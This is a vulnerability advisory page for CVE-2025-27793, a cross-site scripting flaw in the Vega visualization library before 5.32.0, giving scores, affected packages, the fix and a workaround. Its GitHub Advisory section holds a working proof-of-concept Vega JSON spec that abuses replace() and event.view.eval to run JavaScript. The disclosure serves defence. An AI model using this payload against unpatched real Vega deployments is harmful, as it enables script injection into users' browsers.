CVE-2025-27793
JSON

5.3medium

Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]

Severity
5.3medium CVSS:4.0 by GitHub_M
Exploit likelihood
0.52% (higher than 45% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-963h-3v39-3pqf

Description

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 5.32.0, corresponding to vega-functions prior to version 5.17.0, users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library was used with the `vega-interpreter`. Vega version 5.32.0 and vega-functions version 5.17.0 fix the issue. As a workaround, use `vega` with expression interpreter.

Affected

Product or packageVersionsReported by
vega vega< 5.32.0CVE List
vega (npm)before 5.32.0GitHub Advisory Database
vega-functions (npm)before 5.17.0GitHub Advisory Database

All scores

GitHub_M5.3medium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Classification

CWE-79CWE-87

SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial.

What each source says

CVE List

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 5.32.0, corresponding to vega-functions prior to version 5.17.0, users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library was used with the `vega-interpreter`. Vega version 5.32.0 and vega-functions version 5.17.0 fix the issue. As a workaround, use `vega` with expression interpreter.

GitHub Advisory Database

Impact

Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.

Workarounds

POC Summary

Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.

POC Details

Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.

The resulting malicious call looks like this:

replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})

Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.

Reproduction steps
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}
NVD (es)

Vega es una gramática de visualización, un formato declarativo para crear, guardar y compartir diseños de visualización interactivos. En Vega anterior a la versión 5.32.0, correspondiente a vega-functions anterior a la versión 5.17.0, los usuarios que ejecutaban definiciones JSON de Vega/Vega-lite podían ejecutar código JavaScript inesperado al dibujar gráficos, a menos que la librería se usara con vega-interpreter. Las versiones 5.32.0 y 5.17.0 de vega-functions solucionan este problema. Como workaround, utilice vega con el intérprete de expresiones.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-27793 changed 2025-03-27CVE Terms of Use
GitHub Advisory DatabaseGHSA-963h-3v39-3pqf changed 2025-03-27CC-BY-4.0
NVDCVE-2025-27793 changed 2026-06-17Public domain